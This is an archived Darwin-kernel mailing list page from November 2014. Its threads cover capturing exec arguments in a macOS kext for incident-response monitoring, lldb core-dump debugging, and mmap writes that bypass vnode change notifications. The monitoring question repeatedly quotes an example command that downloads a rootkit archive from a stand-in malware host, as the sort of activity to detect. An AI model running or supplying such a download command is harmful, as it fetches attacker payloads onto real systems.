November 2014 - Darwin-kernel

Re: accessing argv on exec
by Jay O'Conor 11 Nov '14

11 Nov '14

Hi Peter, Is this something that DTrace could handle instead of a custom kext? I’m curious if you’ve looked at the newproc.d command (dtrace script)? Regards, — Jay > On Nov 10, 2014, at 3:02 PM, Peter Moody <pmoody(a)google.com> wrote: > > Hey folks, > > apologies for what will likely be a noobish question, I'm just getting > acquainted with xnu and kexts and all that. > > I'm interested in monitoring process creation (and termination) on the > mac. It looks like I can use a kext that registers a listener for > kauth_fileop_exec to be notified of an exec, and the callback is: > > a) given a char* of the path the binary. > b) run in the context of the newly executing binary (so proc_self() > and the like work for getting pid/ppid, etc). > > but is there anyway that I can actually access the argv that was passed > to the execve call? > > I'm trying to do this to help our incident response capabilities, where > obviously just seeing that 'wget' was called is a lot less informative > than seeing 'wget http://malware.badguy/rookkit.tgz' > > Cheers, > peter > _______________________________________________ > Do not post admin requests to the list. They will be ignored. > Darwin-kernel mailing list (Darwin-kernel(a)lists.apple.com) > Help/Unsubscribe/Update your Subscription: > https://lists.apple.com/mailman/options/darwin-kernel/joconor%40fastmail.fm > > This email sent to joconor(a)fastmail.fm _______________________________________________ Do not post admin requests to the list. They will be ignored. Darwin-kernel mailing list (Darwin-kernel(a)lists.apple.com) Help/Unsubscribe/Update your Subscription: https://lists.apple.com/mailman/options/darwin-kernel/site_archiver%40lists… This email sent to site_archiver(a)lists.apple.com

1 0

Re: accessing argv on exec
by Peter Moody 11 Nov '14

11 Nov '14

On Tue, Nov 11 2014 at 07:18, Evan Lojewski wrote: > Hi Pete, > > From my (limited) scan through kern_exec.c, it doesn't look like there is a > good way get access to the full command line. Someone at Apple will > probably be able to suggest a good option. > > *IF* this is a non-production kext, it is possible to update the execsw > table to allow your kext to get access to this information, however it does > require using private symbols. If you'd like an example on how to do that > let me know and I'll send some code, but hopefully Apple has a better > option that they can reply with first. Hey Evan, I'd love to see some code. I don't think I'll be able to convince our macops team to support it, but seeing how it could be done is still probably worthwhile. re auditd: we're actually doing something like that right now, but AIUI our IR team has found it lacking. I've spent the last year or so implementing for linux what I'm looking to implement here for the mac, hence the noobish question. Cheers, peter > -- Evan Lojewski > > On Mon, Nov 10, 2014 at 4:02 PM, Peter Moody <pmoody(a)google.com> wrote: > >> Hey folks, >> >> apologies for what will likely be a noobish question, I'm just getting >> acquainted with xnu and kexts and all that. >> >> I'm interested in monitoring process creation (and termination) on the >> mac. It looks like I can use a kext that registers a listener for >> kauth_fileop_exec to be notified of an exec, and the callback is: >> >> a) given a char* of the path the binary. >> b) run in the context of the newly executing binary (so proc_self() >> and the like work for getting pid/ppid, etc). >> >> but is there anyway that I can actually access the argv that was passed >> to the execve call? >> >> I'm trying to do this to help our incident response capabilities, where >> obviously just seeing that 'wget' was called is a lot less informative >> than seeing 'wget http://malware.badguy/rookkit.tgz' >> >> Cheers, >> peter >> _______________________________________________ >> Do not post admin requests to the list. They will be ignored. >> Darwin-kernel mailing list (Darwin-kernel(a)lists.apple.com) >> Help/Unsubscribe/Update your Subscription: >> https://lists.apple.com/mailman/options/darwin-kernel/meklort%40gmail.com >> >> This email sent to meklort(a)gmail.com _______________________________________________ Do not post admin requests to the list. They will be ignored. Darwin-kernel mailing list (Darwin-kernel(a)lists.apple.com) Help/Unsubscribe/Update your Subscription: https://lists.apple.com/mailman/options/darwin-kernel/site_archiver%40lists… This email sent to site_archiver(a)lists.apple.com

1 0

Re: accessing argv on exec
by Evan Lojewski 11 Nov '14

11 Nov '14

_______________________________________________ Do not post admin requests to the list. They will be ignored. Darwin-kernel mailing list (Darwin-kernel(a)lists.apple.com) Help/Unsubscribe/Update your Subscription: https://lists.apple.com/mailman/options/darwin-kernel/site_archiver%40lists… This email sent to site_archiver(a)lists.apple.com

1 0

accessing argv on exec
by Peter Moody 10 Nov '14

10 Nov '14

Hey folks, apologies for what will likely be a noobish question, I'm just getting acquainted with xnu and kexts and all that. I'm interested in monitoring process creation (and termination) on the mac. It looks like I can use a kext that registers a listener for kauth_fileop_exec to be notified of an exec, and the callback is: a) given a char* of the path the binary. b) run in the context of the newly executing binary (so proc_self() and the like work for getting pid/ppid, etc). but is there anyway that I can actually access the argv that was passed to the execve call? I'm trying to do this to help our incident response capabilities, where obviously just seeing that 'wget' was called is a lot less informative than seeing 'wget http://malware.badguy/rookkit.tgz' Cheers, peter _______________________________________________ Do not post admin requests to the list. They will be ignored. Darwin-kernel mailing list (Darwin-kernel(a)lists.apple.com) Help/Unsubscribe/Update your Subscription: https://lists.apple.com/mailman/options/darwin-kernel/site_archiver%40lists… This email sent to site_archiver(a)lists.apple.com

1 0

Debugging a core dump using lldb
by Pratima Kudale 08 Nov '14

08 Nov '14

I am trying to debug a core dump using 10.9.5 kernel debug kit. I am using below command to load my kext symbols: target modules add /tmp/my.kext/Contents/MacOS/omfs --symfile /tmp/com.omneon.kext.myfs.sym target module load --file /tmp/macosx/my.kext/Contents/MacOS/myfs __TEXT <address displayed in showallkexts> Command works and even image list displays my module with appropriate symbol path. "target dump symtab " displays all global variables correctly. But when I try to execute either "target variable foo" , it gives below error: error: can't find global variable 'foo' Symbols are generated using below command: kextutil -n -arch x86_64 -s /tmp /tmp/myfs.kext -k /Volumes/KernelDebugKit/mach_kernel Kext is built and signed from 10.6.8 machine, does that matter? Do I need to build a binary from 10.9 to debug it successfully? Please let me know if I am doing something wrong here. Thanks, Pratima _______________________________________________ Do not post admin requests to the list. They will be ignored. Darwin-kernel mailing list (Darwin-kernel(a)lists.apple.com) Help/Unsubscribe/Update your Subscription: https://lists.apple.com/mailman/options/darwin-kernel/site_archiver%40lists… This email sent to site_archiver(a)lists.apple.com

1 0

Re: file changes content but ContentModificationDate not changing
by Gerriet M. Denkmann 07 Nov '14

07 Nov '14

> On 7 Nov 2014, at 05:38, James C <james.from.wellington(a)gmail.com> wrote: > > If, as Quinn suggests, you are experiencing a problem related to flush > delay, then I wonder what adding an msync() would do. In the 10.6.8 > manpages, file modification time is mentioned. adding msync() creates a DISPATCH_VNODE_WRITE notification. Kind regards, Gerriet. > > On 11/7/14, darwin-kernel-request(a)lists.apple.com > <darwin-kernel-request(a)lists.apple.com> wrote: > <snip> >> Date: Thu, 06 Nov 2014 11:20:26 +0700 >> From: "Gerriet M. Denkmann" <gerriet(a)mdenkmann.de> >> To: Quinn The Eskimo! <eskimo1(a)apple.com> >> Cc: "darwin-kernel(a)lists.apple.com Kernel" >> <darwin-kernel(a)lists.apple.com> >> Subject: Re: file changes content but ContentModificationDate not >> changing >> Message-ID: <02609A41-A004-45C1-AB0F-4DE9FB2571C5(a)mdenkmann.de> >> Content-Type: text/plain; charset=us-ascii >> > <snip> >> else // stealth-mode > { >> // will receive no DISPATCH_VNODE_XXX at all >> // does NOT update the change-time of stats_drift_file >> NSLog(@"%s will write %g (case 3: stealth-mode using mmap)",__FUNCTION__, >> drift_comp * 1e6); >> off_t n = snprintf(mmap_addr, pageSize, "%.3f\n", drift_comp * 1e6); >> if (n != stats_size) // size of ntp.drift changed >> { >> truncate(stats_drift_file, n); >> stats_size = n; >> }; >> }; > _______________________________________________ > Do not post admin requests to the list. They will be ignored. > Darwin-kernel mailing list (Darwin-kernel(a)lists.apple.com) > Help/Unsubscribe/Update your Subscription: > https://lists.apple.com/mailman/options/darwin-kernel/gerriet%40mdenkmann.de > > This email sent to gerriet(a)mdenkmann.de _______________________________________________ Do not post admin requests to the list. They will be ignored. Darwin-kernel mailing list (Darwin-kernel(a)lists.apple.com) Help/Unsubscribe/Update your Subscription: https://lists.apple.com/mailman/options/darwin-kernel/site_archiver%40lists… This email sent to site_archiver(a)lists.apple.com

1 0

Re: file changes content but ContentModificationDate not changing
by James C 06 Nov '14

06 Nov '14

If, as Quinn suggests, you are experiencing a problem related to flush delay, then I wonder what adding an msync() would do. In the 10.6.8 manpages, file modification time is mentioned. On 11/7/14, darwin-kernel-request(a)lists.apple.com <darwin-kernel-request(a)lists.apple.com> wrote: <snip> > Date: Thu, 06 Nov 2014 11:20:26 +0700 > From: "Gerriet M. Denkmann" <gerriet(a)mdenkmann.de> > To: Quinn The Eskimo! <eskimo1(a)apple.com> > Cc: "darwin-kernel(a)lists.apple.com Kernel" > <darwin-kernel(a)lists.apple.com> > Subject: Re: file changes content but ContentModificationDate not > changing > Message-ID: <02609A41-A004-45C1-AB0F-4DE9FB2571C5(a)mdenkmann.de> > Content-Type: text/plain; charset=us-ascii > <snip> > else // stealth-mode > { > // will receive no DISPATCH_VNODE_XXX at all > // does NOT update the change-time of stats_drift_file > NSLog(@"%s will write %g (case 3: stealth-mode using mmap)",__FUNCTION__, > drift_comp * 1e6); > off_t n = snprintf(mmap_addr, pageSize, "%.3f\n", drift_comp * 1e6); > if (n != stats_size) // size of ntp.drift changed > { > truncate(stats_drift_file, n); > stats_size = n; > }; > }; _______________________________________________ Do not post admin requests to the list. They will be ignored. Darwin-kernel mailing list (Darwin-kernel(a)lists.apple.com) Help/Unsubscribe/Update your Subscription: https://lists.apple.com/mailman/options/darwin-kernel/site_archiver%40lists… This email sent to site_archiver(a)lists.apple.com

1 0

Re: file changes content but ContentModificationDate not changing
by Quinn "The Eskimo!" 06 Nov '14

06 Nov '14

On 6 Nov 2014, at 10:37, Gerriet M. Denkmann <gerriet(a)mdenkmann.de> wrote: > Getting a notification whenever the frequency changes would be nice, but how? <x-man-page://3/notify> is usually a good choice for this sort of thing. However, my rule of thumb is not to prescribe a solution when filing an enhancement request. Instead, put your /requirements/ in the bug report and OS X Engineering will use those to inform their design. Share and Enjoy -- Quinn "The Eskimo!" <http://www.apple.com/developer/> Apple Developer Relations, Developer Technical Support, Core OS/Hardware _______________________________________________ Do not post admin requests to the list. They will be ignored. Darwin-kernel mailing list (Darwin-kernel(a)lists.apple.com) Help/Unsubscribe/Update your Subscription: https://lists.apple.com/mailman/options/darwin-kernel/site_archiver%40lists… This email sent to site_archiver(a)lists.apple.com

1 0

Re: file changes content but ContentModificationDate not changing
by Gerriet M. Denkmann 06 Nov '14

06 Nov '14

> On 6 Nov 2014, at 16:23, Quinn The Eskimo! <eskimo1(a)apple.com> wrote: > > On 6 Nov 2014, at 04:20, Gerriet M. Denkmann <gerriet(a)mdenkmann.de> wrote: > >> Following your advice I found a way to change a file without DISPATCH_SOURCE_TYPE_VNODE noticing it (same way save_drift_file() in ntp_util.c does it): > > As to whether it /should/ be this way, I'm not really qualified to say--given the way memory mapping works, it might be quite hard to change this behaviour--but, regardless, if the current behaviour is causing you problems, you should file a bug about it. Not really a problem. This was just a sidetrack. > Realistically though, it might be better asking for a dedicated notification for the drift change rather than trying to do this through the file system. What I am currently doing is: polling by sending a packet to ntpd (same as ntpq does), asking for the current frequency. This is probably efficient enough. Getting a notification whenever the frequency changes would be nice, but how? NSDistributedNotificationCenter? "Posting a distributed notification is an expensive operation." Registering a block with ntpd to be executed in this case? (Looks dangerous, as ntpd runs as root). Some other method? Anyway, thanks a lot for your help! - I understand DISPATCH_SOURCE_TYPE_VNODE much better now. Kind regards, Gerriet. _______________________________________________ Do not post admin requests to the list. They will be ignored. Darwin-kernel mailing list (Darwin-kernel(a)lists.apple.com) Help/Unsubscribe/Update your Subscription: https://lists.apple.com/mailman/options/darwin-kernel/site_archiver%40lists… This email sent to site_archiver(a)lists.apple.com

1 0

Re: file changes content but ContentModificationDate not changing
by Quinn "The Eskimo!" 06 Nov '14

06 Nov '14

On 6 Nov 2014, at 04:20, Gerriet M. Denkmann <gerriet(a)mdenkmann.de> wrote: > Following your advice I found a way to change a file without DISPATCH_SOURCE_TYPE_VNODE noticing it (same way save_drift_file() in ntp_util.c does it): Oh, I missed the whole mmap branch of that code. *sigh* I'm not sure of the exact mechanics but my expectation is that, when you modify a file via mmap, the file mod date will only change when the VM system pushes the changes to the file system, which can take an arbitrarily long time. As to whether it /should/ be this way, I'm not really qualified to say--given the way memory mapping works, it might be quite hard to change this behaviour--but, regardless, if the current behaviour is causing you problems, you should file a bug about it. <https://developer.apple.com/bug-reporting/> Please post your bug number, just for the record. Realistically though, it might be better asking for a dedicated notification for the drift change rather than trying to do this through the file system. As to workarounds, I've got nothing )-: Share and Enjoy -- Quinn "The Eskimo!" <http://www.apple.com/developer/> Apple Developer Relations, Developer Technical Support, Core OS/Hardware _______________________________________________ Do not post admin requests to the list. They will be ignored. Darwin-kernel mailing list (Darwin-kernel(a)lists.apple.com) Help/Unsubscribe/Update your Subscription: https://lists.apple.com/mailman/options/darwin-kernel/site_archiver%40lists… This email sent to site_archiver(a)lists.apple.com

1 0